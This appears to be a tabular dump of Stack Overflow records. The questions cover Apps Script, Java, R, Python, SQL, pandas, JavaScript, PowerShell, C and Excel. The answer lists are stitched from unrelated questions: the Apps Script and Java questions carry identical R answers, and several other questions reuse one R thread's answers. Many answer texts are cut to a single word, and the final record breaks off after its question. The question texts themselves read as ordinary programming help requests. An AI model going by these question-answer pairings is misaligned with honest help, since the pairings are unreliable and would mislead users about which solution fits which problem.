qid
int64 4
22.2M
| question
stringlengths 18
48.3k
| answers
list | date
stringlengths 10
10
| metadata
list |
|---|---|---|---|---|
74,465,662
|
<p>I am having a problem that my brain cannot figure out.</p>
<p>I have a script that I copied and modified that will Randomly select a cell that is not blank from reassign!A1:A10</p>
<p>in reassign Tab I have a Query that will filter another sheet if a checkbox is ticked</p>
<p>so in reassign!A1:A10 it will depend if how many checkbox are ticked</p>
<p>the output is it only selects the first cell which is A1</p>
<p>Script:</p>
<pre><code>function myFunction() {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheet = ss.getSheetByName("reassign");
var range = sheet.getRange("A1:A10");
var values = range.getValues();
var newValue = "";
for(var i = 0; i < values.length; i++) {
if(values[i][0] != "") {
newValue = values[i][0];
break;
}
}
sheet.getRange("B2").setValue(newValue);
}
</code></pre>
<p>I am running out of ideas. Sorry</p>
<p>Thanks in advance</p>
<p>I tried researching for solutions, but I really can't figure it out.</p>
|
[
{
"answer_id": 74465679,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 4,
"selected": true,
"text": "add_count"
},
{
"answer_id": 74465682,
"author": "Jamie",
"author_id": 11564586,
"author_profile": "https://Stackoverflow.com/users/11564586",
"pm_score": 2,
"selected": false,
"text": "data.table"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465662",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20138028/"
] |
74,465,664
|
<p>I am trying to get live exchange rates for my java exchange currency program. I saw that this could be done using API from the internet and import the website URL in the java program to get live exchange rates. However I am having trouble working with JSON and getting a few more errors that prevent me from running the program. I am not sure what to import in order to fix the errors. I am quite new and I am not sure if this should be difficult or am I doing something wrong here. Thank you in advance.</p>
<p>`</p>
<pre><code>package currencyConverterGUI;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.text.DecimalFormat; // import for decimal place limitation
import java.net.URL;
import org.json.JSONObject;
import java.io.*;
import java.net.URLConnection;
public class currencyGUI extends JFrame //inherit from JFrame
{
private static final DecimalFormat df = new DecimalFormat("0.00000"); // use DecimalFormat to round double numbers to 5 decimal places
private JButton btnConvert; // generated by GUI designer
private JPanel JPanelMain; // generated by GUI designer
private JTextField textAmount; // generated by GUI designer
private JComboBox textFrom; // generated by GUI designer
private JComboBox textTo; // generated by GUI designer
private JLabel result; // generated by GUI designer
public currencyGUI() {
btnConvert.addActionListener(new ActionListener() { // button reacts to user click; generated by GUI designer
@Override
public void actionPerformed(ActionEvent e)
{
double total;
double amount = Double.parseDouble(textAmount.getText()); // check if input amount is a number and read the input if it is a number
int index = textTo.getSelectedIndex(); //get index of selected currency from the first combo box
if(textFrom.getSelectedItem() == "USD") // if USD is selected in the first combo box, then switch for each currency
{
switch (index) {
case 0:
total = amount * 1;
result.setText(df.format(total) + " USD");
break;
case 1:
total = amount * 0.86;
result.setText(df.format(total) + " EUR");
break;
case 2:
total = amount * 1.88;
result.setText(df.format(total) + " BGN");
break;
case 3:
total = amount * 0.000060;
result.setText(df.format(total) + " BTC");
break;
case 4:
total = amount * 2.98;
result.setText(df.format(total) + " ADA");
break;
}
}
if(textFrom.getSelectedItem() == "EUR") // if EUR is selected in the first combo box, then switch for each currency
{
switch (index) {
case 0:
total = amount * 1.04;
result.setText(df.format(total) + " USD");
break;
case 1:
total = amount * 0.1;
result.setText(df.format(total) + " EUR");
break;
case 2:
total = amount * 1.95;
result.setText(df.format(total) + " BGN");
break;
case 3:
total = amount * 0.000063;
result.setText(df.format(total) + " BTC");
break;
case 4:
total = amount * 3.18;
result.setText(df.format(total) + " ADA");
break;
}
}
if(textFrom.getSelectedItem() == "BGN") // if BGN is selected in the first combo box, then switch for each currency
{
switch (index) {
case 0:
total = amount * 0.53;
result.setText(df.format(total) + " USD");
break;
case 1:
total = amount * 0.51;
result.setText(df.format(total) + " EUR");
break;
case 2:
total = amount * 1;
result.setText(df.format(total) + " BGN");
break;
case 3:
total = amount * 0.000032;
result.setText(df.format(total) + " BTC");
break;
case 4:
total = amount * 1.63;
result.setText(df.format(total) + " ADA");
break;
}
}
if(textFrom.getSelectedItem() == "BTC") // if BTC is selected in the first combo box, then switch for each currency
{
switch (index) {
case 0:
total = amount * 16446.8;
result.setText(df.format(total) + " USD");
break;
case 1:
total = amount * 15851.4;
result.setText(df.format(total) + " EUR");
break;
case 2:
total = amount * 31043.1;
result.setText(df.format(total) + " BGN");
break;
case 3:
total = amount * 1;
result.setText(df.format(total) + " BTC");
break;
case 4:
total = amount * 50467.4;
result.setText(df.format(total) + " ADA");
break;
}
}
if(textFrom.getSelectedItem() == "ADA") // if ADA is selected in the first combo box, then switch for each currency
{
switch (index) {
case 0:
total = amount * 0.33;
result.setText(df.format(total) + " USD");
break;
case 1:
total = amount * 0.32;
result.setText(df.format(total) + " EUR");
break;
case 2:
total = amount * 0.62;
result.setText(df.format(total) + " BGN");
break;
case 3:
total = amount * 0.000020;
result.setText(df.format(total) + " BTC");
break;
case 4:
total = amount * 1;
result.setText(df.format(total) + " ADA");
break;
}
}
}
});
}
public static void main(String[] args) throws Exception {
JFrame frame = new JFrame("Currency Converter");
frame.setContentPane(new currencyGUI().JPanelMain);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.pack();
frame.setVisible(true); // make pane visible
URL url = new URL("https://api.exchangeratesapi.io/latest?symbols=USD,GBP");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(
con.getInputStream()));
String jsonText = readAll(in);
JSONObject yourData = new JSONObject(jsonText);
}
private static String readAll(Reader rd) throws IOException {
StringBuilder sb = new StringBuilder();
int cp;
while ((cp = rd.read()) != -1) {
sb.append((char) cp);
}
return sb.toString();
}
}
</code></pre>
<p>`</p>
<p>I have tried importing</p>
<p>import org.json.JSONObject;</p>
<p>and</p>
<p>import java.net.URLConnection;</p>
<pre><code>but this doesn't fix the error.
</code></pre>
|
[
{
"answer_id": 74465679,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 4,
"selected": true,
"text": "add_count"
},
{
"answer_id": 74465682,
"author": "Jamie",
"author_id": 11564586,
"author_profile": "https://Stackoverflow.com/users/11564586",
"pm_score": 2,
"selected": false,
"text": "data.table"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465664",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20406430/"
] |
74,465,726
|
<p>I have two dataframes, one that looks like this:</p>
<pre><code>>df1
SNP Symbols
1 rs11807834 GRIN1,SETD1A
2 rs3729986 MADD,STAC3,SPI1
3 rs61937595 NDUFA4L2,STAC3,CAMK2N1
</code></pre>
<p>and another that looks like this</p>
<pre><code>>df2
Symbol Score
1 GRIN1 167
2 SETD1A 160
3 MADD 164
4 STAC3 12
5 CAMK2N1 3
6 NDUFA4L2 0
7 SPI1 0
</code></pre>
<p>I want to get the Symbol with the highest score for each <code>SNP</code> column. So it would look like this:</p>
<pre><code>>result
SNP Symbols Highest.Score
rs11807834 GRIN1,SETD1A GRIN1
rs2600490 MADD,STAC3,SPI1 MADD
rs3729986 NDUFA4L2,STAC3,CAMK2N1 STAC3
</code></pre>
<p>Any suggestions how to achieve this?</p>
<pre><code>df1 <- data.frame("SNP" = c("rs11807834", "rs3729986", "rs61937595" ), "Symbols" = c("GRIN1,SETD1A", "MADD,STAC3,SPI1", "NDUFA4L2,STAC3,CAMK2N1"))
df2 <- data.frame("Symbol" = c("GRIN1", "SETD1A", "MADD", "STAC3", "CAMK2N1", "NDUFA4L2", "SPI1"), "Score" = c(167, 160, 164,12,3,0,0))
</code></pre>
|
[
{
"answer_id": 74465870,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 3,
"selected": true,
"text": "separate_rows"
},
{
"answer_id": 74465968,
"author": "islem",
"author_id": 11952767,
"author_profile": "https://Stackoverflow.com/users/11952767",
"pm_score": 1,
"selected": false,
"text": "df1 <- data.frame(\"SNP\" = c(\"rs11807834\", \"rs3729986\", \"rs61937595\" ), \"Symbols\" = c(\"GRIN1,SETD1A\", \"MADD,STAC3,SPI1\", \"NDUFA4L2,STAC3,CAMK2N1\"))\n\n\ndf2 <- data.frame(\"Symbol\" = c(\"GRIN1\", \"SETD1A\", \"MADD\", \"STAC3\", \"CAMK2N1\", \"NDUFA4L2\", \"SPI1\"),\n \"Score\" = c(167,160,164,12,3,0,0))\n\nlibrary(dplyr)\nresult= df1%>%\nrowwise()%>%\n mutate(Highest.Score=df2[max(df2[grepl(paste(unlist(strsplit(Symbols,split = \",\")),collapse = \"|\"),df2$Symbol),]$Score)==df2$Score,]$Symbol)\n\n# > result\n# # A tibble: 3 x 3\n# # Rowwise: \n# SNP Symbols Highest.Score\n# <chr> <chr> <chr> \n# 1 rs11807834 GRIN1,SETD1A GRIN1 \n# 2 rs3729986 MADD,STAC3,SPI1 MADD \n# 3 rs61937595 NDUFA4L2,STAC3,CAMK2N1 STAC3 \n"
},
{
"answer_id": 74466050,
"author": "RYann",
"author_id": 19110927,
"author_profile": "https://Stackoverflow.com/users/19110927",
"pm_score": 1,
"selected": false,
"text": "df1$Symbol"
},
{
"answer_id": 74466172,
"author": "asd-tm",
"author_id": 5043424,
"author_profile": "https://Stackoverflow.com/users/5043424",
"pm_score": 0,
"selected": false,
"text": "str_split"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465726",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1871399/"
] |
74,465,732
|
<p>(Using loops or recursion), I'm trying to write a python function where the user enters an amount of dollars (say:1.25) and number of coins (say:6), then the function decides whether, or not, it is possible to form the exact amount of dollars using the exact given number of coins, assuming that the coins are quarters (0.25), dimes (0.10), nickels (0.05) and pennies (0.010). the function can use any one of the coins multiple times, but the total number of coins used must be equal to the exact number passed to the function.<br />
e.g: if we pass 1.00 dollar and number of 6 coins: should return True because we can use (3 quarters + 2 dimes + 1 nickel)</p>
<ul>
<li><p>1.25 dollars using 5 coins: True >> (5 quarters)</p>
</li>
<li><p>1.25 dollars using 8 coins: True >> (3 quarters + 5 dimes)</p>
</li>
<li><p>1.25 dollars using 7 coins: False.</p>
</li>
<li><p>I have the idea of the solution in my mind but couldn't transform it to a python code: the function has to start iterating through the group of coins we have (starting from the highest coin: 0.25) and multiply it by the number passed. While the result is higher than the given amount of dollars, the number of coins passed should be decremented by 1. When we get to a point where the result of (number * coin) is less than the given amount of dollars, the amount should be (the given amount - (number * coin)) and the number of coins should be (the given number - the number used so far). I have been trying for few days to make a python code out of this. This is what I've done so far.
`</p>
</li>
</ul>
<pre><code>def total(dollars, num):
dollars = float(dollars)
sofar = 0
num = round(num, 2)
coins = [0.25, 0.10, 0.05, 0.01]
possible = False
if not possible:
for x in range(len(coins)):
if num * coins[x] == dollars:
possible = True
elif num * coins[x] > dollars:
num -= 1
sofar += 1
else:
dollars -= num * coins[x]
num = sofar
return possible
</code></pre>
<p>`</p>
<ul>
<li>When I pass (1.25, 5) to the function >> True</li>
<li>(1.25, 6) >> False</li>
<li>(1.25, 7) >> False</li>
<li>(1.25, 8) >> False (which is a wrong returned value)<br />
Thanks in advance</li>
</ul>
|
[
{
"answer_id": 74465870,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 3,
"selected": true,
"text": "separate_rows"
},
{
"answer_id": 74465968,
"author": "islem",
"author_id": 11952767,
"author_profile": "https://Stackoverflow.com/users/11952767",
"pm_score": 1,
"selected": false,
"text": "df1 <- data.frame(\"SNP\" = c(\"rs11807834\", \"rs3729986\", \"rs61937595\" ), \"Symbols\" = c(\"GRIN1,SETD1A\", \"MADD,STAC3,SPI1\", \"NDUFA4L2,STAC3,CAMK2N1\"))\n\n\ndf2 <- data.frame(\"Symbol\" = c(\"GRIN1\", \"SETD1A\", \"MADD\", \"STAC3\", \"CAMK2N1\", \"NDUFA4L2\", \"SPI1\"),\n \"Score\" = c(167,160,164,12,3,0,0))\n\nlibrary(dplyr)\nresult= df1%>%\nrowwise()%>%\n mutate(Highest.Score=df2[max(df2[grepl(paste(unlist(strsplit(Symbols,split = \",\")),collapse = \"|\"),df2$Symbol),]$Score)==df2$Score,]$Symbol)\n\n# > result\n# # A tibble: 3 x 3\n# # Rowwise: \n# SNP Symbols Highest.Score\n# <chr> <chr> <chr> \n# 1 rs11807834 GRIN1,SETD1A GRIN1 \n# 2 rs3729986 MADD,STAC3,SPI1 MADD \n# 3 rs61937595 NDUFA4L2,STAC3,CAMK2N1 STAC3 \n"
},
{
"answer_id": 74466050,
"author": "RYann",
"author_id": 19110927,
"author_profile": "https://Stackoverflow.com/users/19110927",
"pm_score": 1,
"selected": false,
"text": "df1$Symbol"
},
{
"answer_id": 74466172,
"author": "asd-tm",
"author_id": 5043424,
"author_profile": "https://Stackoverflow.com/users/5043424",
"pm_score": 0,
"selected": false,
"text": "str_split"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465732",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17805177/"
] |
74,465,735
|
<p>I've seen some other questions about comparing multiple columns, but I'm not sure they fit this exact need.</p>
<p>I'm trying to ensure an exact pair of columns in one table exists as the exact same pair of columns in another table. The goal is to check and mark a bit column as true false if it exists.</p>
<p>The last part of this script returns a 1, but I'm not sure if the logic ensures the exact pair is in the second table.</p>
<p>Is the logic in the last part of the script comparing both tables correct?</p>
<p><a href="https://i.stack.imgur.com/q7tpi.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/q7tpi.png" alt="Multiple table image" /></a></p>
<p>Sample Data:</p>
<pre><code>CREATE TABLE #t1
(
courseid VARCHAR(10)
,courseNumber VARCHAR(10)
)
INSERT INTO #t1(
courseid
, courseNumber
)
VALUES
(3386341, 3387691)
CREATE TABLE #t2
(
courseid VARCHAR(10)
,courseNumber VARCHAR(10)
,CourseArea VARCHAR(10)
,CourseCert VARCHAR(10)
,OtherCourseNum VARCHAR(10)
)
INSERT INTO #t2(
courseid
, courseNumber
, CourseArea
, CourseCert
, OtherCourseNum
)
VALUES
(3386341 , 3387691 , 9671 , 9671 , 233321)
,(3386341 , 3387691 , 9671 , 9671 , 233321)
,(3386342 , 3387692 , 9672 , 9672 , 233322)
,(3386342 , 3387692 , 9672 , 9672 , 233322)
,(3386343 , 3387693 , 9673 , 9673 , 233323)
,(3386343 , 3387693 , 9673 , 9673 , 233323)
SELECT
CASE WHEN courseid IN (SELECT courseid FROM #t1) AND courseNumber IN (SELECT courseNumber FROM #t2) THEN 1 ELSE 0 END AS IsCourse
FROM #t1
</code></pre>
|
[
{
"answer_id": 74465870,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 3,
"selected": true,
"text": "separate_rows"
},
{
"answer_id": 74465968,
"author": "islem",
"author_id": 11952767,
"author_profile": "https://Stackoverflow.com/users/11952767",
"pm_score": 1,
"selected": false,
"text": "df1 <- data.frame(\"SNP\" = c(\"rs11807834\", \"rs3729986\", \"rs61937595\" ), \"Symbols\" = c(\"GRIN1,SETD1A\", \"MADD,STAC3,SPI1\", \"NDUFA4L2,STAC3,CAMK2N1\"))\n\n\ndf2 <- data.frame(\"Symbol\" = c(\"GRIN1\", \"SETD1A\", \"MADD\", \"STAC3\", \"CAMK2N1\", \"NDUFA4L2\", \"SPI1\"),\n \"Score\" = c(167,160,164,12,3,0,0))\n\nlibrary(dplyr)\nresult= df1%>%\nrowwise()%>%\n mutate(Highest.Score=df2[max(df2[grepl(paste(unlist(strsplit(Symbols,split = \",\")),collapse = \"|\"),df2$Symbol),]$Score)==df2$Score,]$Symbol)\n\n# > result\n# # A tibble: 3 x 3\n# # Rowwise: \n# SNP Symbols Highest.Score\n# <chr> <chr> <chr> \n# 1 rs11807834 GRIN1,SETD1A GRIN1 \n# 2 rs3729986 MADD,STAC3,SPI1 MADD \n# 3 rs61937595 NDUFA4L2,STAC3,CAMK2N1 STAC3 \n"
},
{
"answer_id": 74466050,
"author": "RYann",
"author_id": 19110927,
"author_profile": "https://Stackoverflow.com/users/19110927",
"pm_score": 1,
"selected": false,
"text": "df1$Symbol"
},
{
"answer_id": 74466172,
"author": "asd-tm",
"author_id": 5043424,
"author_profile": "https://Stackoverflow.com/users/5043424",
"pm_score": 0,
"selected": false,
"text": "str_split"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465735",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3729714/"
] |
74,465,768
|
<p>I have a data set that looks like this:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Timestamp</th>
<th>Cumulative Energy (kWh)</th>
<th>Charging?</th>
</tr>
</thead>
<tbody>
<tr>
<td>2022-08-19 05:45:00</td>
<td>24.9</td>
<td>1</td>
</tr>
<tr>
<td>2022-08-19 06:00:00</td>
<td>44.7</td>
<td>1</td>
</tr>
<tr>
<td>2022-08-19 06:15:00</td>
<td>53.1</td>
<td>1</td>
</tr>
<tr>
<td>2022-08-19 06:30:00</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
</div>
<p>And so on. The data set represents the usage of an EV charger for a couple weeks. I want to be able to calculate the number of sessions total and the average energy withdrawn per charging session. Each charging session varies, some are an hour long, some less, some more. Since the dataset provides the cumulative energy, I thought that ways to go about this would be to group consecutive sessions (Charging = 1) identify the largest value for Cumulative Energy (kWh) and commit these values to a dictionary which I can then use to calculate the total number of sessions and the average cum. energy of each session. I'm unsure of how to go about writing this in Python though. Any help would be greatly appreciated!</p>
<p>Update: I did the following:</p>
<pre><code>result = (
evdata.groupby(["Charging?", (evdata['Charging?'] != evdata['Charging?'].shift()).cumsum()], sort=False)
.size()
.reset_index(level=1, drop=True)
)
</code></pre>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>-</th>
<th>-</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1707</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>0</td>
<td>43</td>
</tr>
<tr>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>0</td>
<td>38</td>
</tr>
<tr>
<td>1</td>
<td>4</td>
</tr>
</tbody>
</table>
</div>
<p>And so on. So we've managed to get the number of charging and non-charging sessions. But on the right-hand column we see the number of 15-minute charging sessions when I would ideally like to see the maximum cumulative energy (kWh) for that group?</p>
|
[
{
"answer_id": 74465870,
"author": "TarJae",
"author_id": 13321647,
"author_profile": "https://Stackoverflow.com/users/13321647",
"pm_score": 3,
"selected": true,
"text": "separate_rows"
},
{
"answer_id": 74465968,
"author": "islem",
"author_id": 11952767,
"author_profile": "https://Stackoverflow.com/users/11952767",
"pm_score": 1,
"selected": false,
"text": "df1 <- data.frame(\"SNP\" = c(\"rs11807834\", \"rs3729986\", \"rs61937595\" ), \"Symbols\" = c(\"GRIN1,SETD1A\", \"MADD,STAC3,SPI1\", \"NDUFA4L2,STAC3,CAMK2N1\"))\n\n\ndf2 <- data.frame(\"Symbol\" = c(\"GRIN1\", \"SETD1A\", \"MADD\", \"STAC3\", \"CAMK2N1\", \"NDUFA4L2\", \"SPI1\"),\n \"Score\" = c(167,160,164,12,3,0,0))\n\nlibrary(dplyr)\nresult= df1%>%\nrowwise()%>%\n mutate(Highest.Score=df2[max(df2[grepl(paste(unlist(strsplit(Symbols,split = \",\")),collapse = \"|\"),df2$Symbol),]$Score)==df2$Score,]$Symbol)\n\n# > result\n# # A tibble: 3 x 3\n# # Rowwise: \n# SNP Symbols Highest.Score\n# <chr> <chr> <chr> \n# 1 rs11807834 GRIN1,SETD1A GRIN1 \n# 2 rs3729986 MADD,STAC3,SPI1 MADD \n# 3 rs61937595 NDUFA4L2,STAC3,CAMK2N1 STAC3 \n"
},
{
"answer_id": 74466050,
"author": "RYann",
"author_id": 19110927,
"author_profile": "https://Stackoverflow.com/users/19110927",
"pm_score": 1,
"selected": false,
"text": "df1$Symbol"
},
{
"answer_id": 74466172,
"author": "asd-tm",
"author_id": 5043424,
"author_profile": "https://Stackoverflow.com/users/5043424",
"pm_score": 0,
"selected": false,
"text": "str_split"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465768",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/12991219/"
] |
74,465,770
|
<p>I've created a pirate speak program.</p>
<p>It asks the user for their name and date of birth and calculates the years from the input and added 100 years for fun. I also need to calculate the number of days left until their birthday using user input but I don't know what to do. I've tried some methods and stuff but its not working. any tips or mistakes I need to fix?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var name = prompt('What\'s yer name?');
var date = prompt('What\'s yer date o\' birth? (mm/dd/yyyy)');
let years = date;
let num = years.substring(6, 10);
var myInput = parseInt(num);
var x = myInput;
var y = 100;
var result = x + y;
console.log(`Ahoy, ${name}. It will be th\' year ${result} when ye be 100 years barnacle-covered.`);
var myInput = parseInt(date);
var bday = myInput;
function daysUntilNext(month, day){
var tday= new Date(), y= tday.getFullYear(), next= new Date(y, month-1, day);
tday.setHours(0, 0, 0, 0);
if(tday>next) next.setFullYear(y+1);
return Math.round((next-tday)/8.64e7);
}
var d= daysUntilNext(date);
console.log(d+' day'+(d>1? 's': '')+' until yer birthday');</code></pre>
</div>
</div>
</p>
|
[
{
"answer_id": 74466256,
"author": "Rhett Harrison",
"author_id": 14839305,
"author_profile": "https://Stackoverflow.com/users/14839305",
"pm_score": 1,
"selected": false,
"text": "var name = prompt('What\\'s yer name?');\n\nvar birthDateString = prompt('What\\'s yer date o\\' birth? (mm/dd/yyyy)');\nvar daySubstring = birthDateString.substring(3, 5);\nvar monthSubstring = birthDateString.substring(0, 2);\nvar yearSubstring = birthDateString.substring(6, 10);\nvar birthdate = new Date(parseInt(yearSubstring), parseInt(monthSubstring) - 1, parseInt(daySubstring));\n\nvar ONE_HUNDRED = 100;\n\nvar result = parseInt(yearSubstring) + ONE_HUNDRED;\n\nconsole.log(`Ahoy, ${name}. It will be th\\' year ${result} when ye be 100 years barnacle-covered.`);\n\nfunction daysUntilNext(month, day) {\n var today = new Date();\n var year = today.getFullYear();\n \n var next = new Date(year, month, day);\n today.setHours(0, 0, 0, 0);\n \n if (today > next) next.setFullYear(year + 1);\n return Math.round((next - today) / 8.64e7);\n}\n\nvar d = daysUntilNext(birthdate.getMonth(), birthdate.getDate());\n\nconsole.log(d + ' day' + (d > 1 ? 's' : '') + ' until yer birthday');"
},
{
"answer_id": 74466455,
"author": "Tamás Sperg",
"author_id": 11964939,
"author_profile": "https://Stackoverflow.com/users/11964939",
"pm_score": 0,
"selected": false,
"text": "var name = prompt('What\\'s yer name?');\n\nvar birthDateString = prompt('What\\'s yer date o\\' birth? (mm/dd/yyyy)');\nvar inputdate = birthDateString.split(\"/\");\nvar daySubstring = inputdate[1];\nvar monthSubstring = inputdate[0];\nvar yearSubstring = inputdate[2];\nvar birthdate = new Date(parseInt(yearSubstring), parseInt(monthSubstring) - 1, parseInt(daySubstring));\n\nvar ONE_HUNDRED = 100;\n\nvar result = parseInt(yearSubstring) + ONE_HUNDRED;\n\nconsole.log(`Ahoy, ${name}. It will be th\\' year ${result} when ye be 100 years barnacle-covered.`);\n\nfunction daysUntilNext(month, day) {\n var today = new Date();\n var year = today.getFullYear();\n \n var next = new Date(year, month, day);\n today.setHours(0, 0, 0, 0);\n \n if (today > next) next.setFullYear(year + 1);\n return Math.round((next - today) / 8.64e7);\n}\n\nvar d = daysUntilNext(birthdate.getMonth(), birthdate.getDate());\n\nconsole.log(d + ' day' + (d > 1 ? 's' : '') + ' until yer birthday');"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465770",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20400133/"
] |
74,465,780
|
<p>I can't seem to understand how to continue to another IF statement. What I'm trying to do is:</p>
<ul>
<li>IF Action 1 succeed then do X AND go to Action 2, else log it and RETURN to the next loop</li>
<li>If Action 2 succeed then do X AND go to Action 3, else log it and RETURN to the next loop</li>
</ul>
<p>I am having issues with "AND go to Action 2" after action 1. I tried various ways but obviously the script below does not work. It can do Action 1 the test-connection, and if it succeeds will export the log else it will log a failure and RETURN to the next loop. HOWEVER, I cannot make it do the next action if successful.</p>
<pre><code>$hostname = Import-Csv C:\Users\jackie.cheng\Desktop\TestComputers.csv
$hostname | % {
if (Test-Connection $_.hostname -count 1)
{Write-Host "$($_.hostname) Test-Connection Succeeded"
$array += [pscustomobject]@{
Name = $currentobject.hostname
Status = "Test-Connection Success"}
}
else {Write-Host "$($_.hostname) Test-Connection Failed"
$array2 += [pscustomobject]@{
Name = $currentobject.hostname
Status = "Failed Test-Connection"}
} return
if (Test-Connection $_.hostname -count 1)
{Write-Host "Second action ran"}
else {Write-Host "Second action failed"} return
}
</code></pre>
|
[
{
"answer_id": 74479772,
"author": "emanresu",
"author_id": 5066540,
"author_profile": "https://Stackoverflow.com/users/5066540",
"pm_score": 2,
"selected": true,
"text": "Foreach-Object"
},
{
"answer_id": 74480072,
"author": "js2010",
"author_id": 6654942,
"author_profile": "https://Stackoverflow.com/users/6654942",
"pm_score": 0,
"selected": false,
"text": "Import-Csv TestComputers.csv |\n% {\n if (Test-Connection $_.hostname -count 1 -ea 0) {\n [pscustomobject]@{\n Name = $_.hostname\n Status = $true}\n }\n else {\n [pscustomobject]@{\n Name = $_.hostname\n Status = $false}\n }\n}\n\n\nName Status\n---- ------\nyahoo.com True\nmicrosoft.com False\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465780",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6466972/"
] |
74,465,782
|
<p>I'd like to write a <code>asnprintf</code> function -- which is a wrapper around snprintf, but it mallocs the string according to its output size. Unfortunately when I compile I get a warning (promoted to error on my system) <code>format string is not a string literal [-Werror,-Wformat-nonliteral]</code>.</p>
<p>I looked up the warning and apparently there are security concerns with passing a non-literal to <code>printf</code> functions, but in my case, I need to take in a format pointer, and pass that on.</p>
<p>Is there a good way around this that does not expose the same security vulnerability?</p>
<p>My function as is is as follows:</p>
<pre class="lang-c prettyprint-override"><code>int
asnprintf(char **strp, int max_len, const char *fmt, ...)
{
int len;
va_list ap,ap2;
va_start(ap, fmt);
va_copy(ap2, ap);
len = vsnprintf(NULL, 0, fmt, ap);
if ( len > max_len)
len = max_len;
*strp = malloc(len+1);
if (*strp == NULL)
return -1;
len = vsnprintf(*strp, len+1, fmt, ap2);
va_end(ap2);
va_end(ap);
return len;
}
</code></pre>
|
[
{
"answer_id": 74465914,
"author": "Marco Bonelli",
"author_id": 3889449,
"author_profile": "https://Stackoverflow.com/users/3889449",
"pm_score": 2,
"selected": false,
"text": "#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n#pragma GCC diagnostic ignored \"-Wformat-security\"\n\n// Function definition here...\n\n#pragma GCC diagnostic pop\n"
},
{
"answer_id": 74466292,
"author": "Craig Estey",
"author_id": 5382650,
"author_profile": "https://Stackoverflow.com/users/5382650",
"pm_score": 2,
"selected": true,
"text": "__attribute__((__format__(__printf__,3,4)))"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465782",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8710344/"
] |
74,465,794
|
<p>I'm totally new to Python and I'm sure I'm missing something simple, I want to remove all Strings.</p>
<pre><code>def filter_list(l):
for f in l:
if isinstance(f, str):
l.remove(f)
return l
print(filter_list([1,2,'a','b']))
</code></pre>
<p>The output I get is:</p>
<p>[1,2,'b']</p>
|
[
{
"answer_id": 74465831,
"author": "Jamie.Sgro",
"author_id": 11550733,
"author_profile": "https://Stackoverflow.com/users/11550733",
"pm_score": 2,
"selected": false,
"text": "a = [1,2,'a','b']\nb = [x for x in a if not isinstance(x, str)]\nprint(b) # [1, 2]\n"
},
{
"answer_id": 74465833,
"author": "I'mahdi",
"author_id": 1740577,
"author_profile": "https://Stackoverflow.com/users/1740577",
"pm_score": 3,
"selected": true,
"text": "list"
},
{
"answer_id": 74465841,
"author": "Thales",
"author_id": 20401787,
"author_profile": "https://Stackoverflow.com/users/20401787",
"pm_score": 0,
"selected": false,
"text": "def filter_list(l)\nfor f in l:\n if type(f) == str:\n l.remove(f)\nreturn l\n"
}
] |
2022/11/16
|
[
"https://Stackoverflow.com/questions/74465794",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18714330/"
] |
74,465,802
|
<p>I am looking for a function that takes two input arguments, <code>boardtype</code> and <code>subsysnum</code> and then finds the row index that has that specific combination. However, if subsysnum column is blank then continue on. Only some cases will have a <code>subsysnum</code> value. <code>boardtype</code> will have to be an exact match. For the purpose of the function, I have written so far, <code>boardtype</code> and <code>subsysnum</code> are defined both as strings above. <code>column</code> defined when calling the function will be either <code>3</code> or <code>5</code></p>
<p>I have so far called the worksheet that has the lookup table in it and believe I have found the row index for the <code>boardtype</code> now I just need to incorporate if <code>subsysnum</code> value can be found in the second column then find the row combination index, else continue with the blank second column to find the lookup value. This is what my data looks like</p>
<p><a href="https://i.stack.imgur.com/sSXVn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/sSXVn.png" alt="enter image description here" /></a></p>
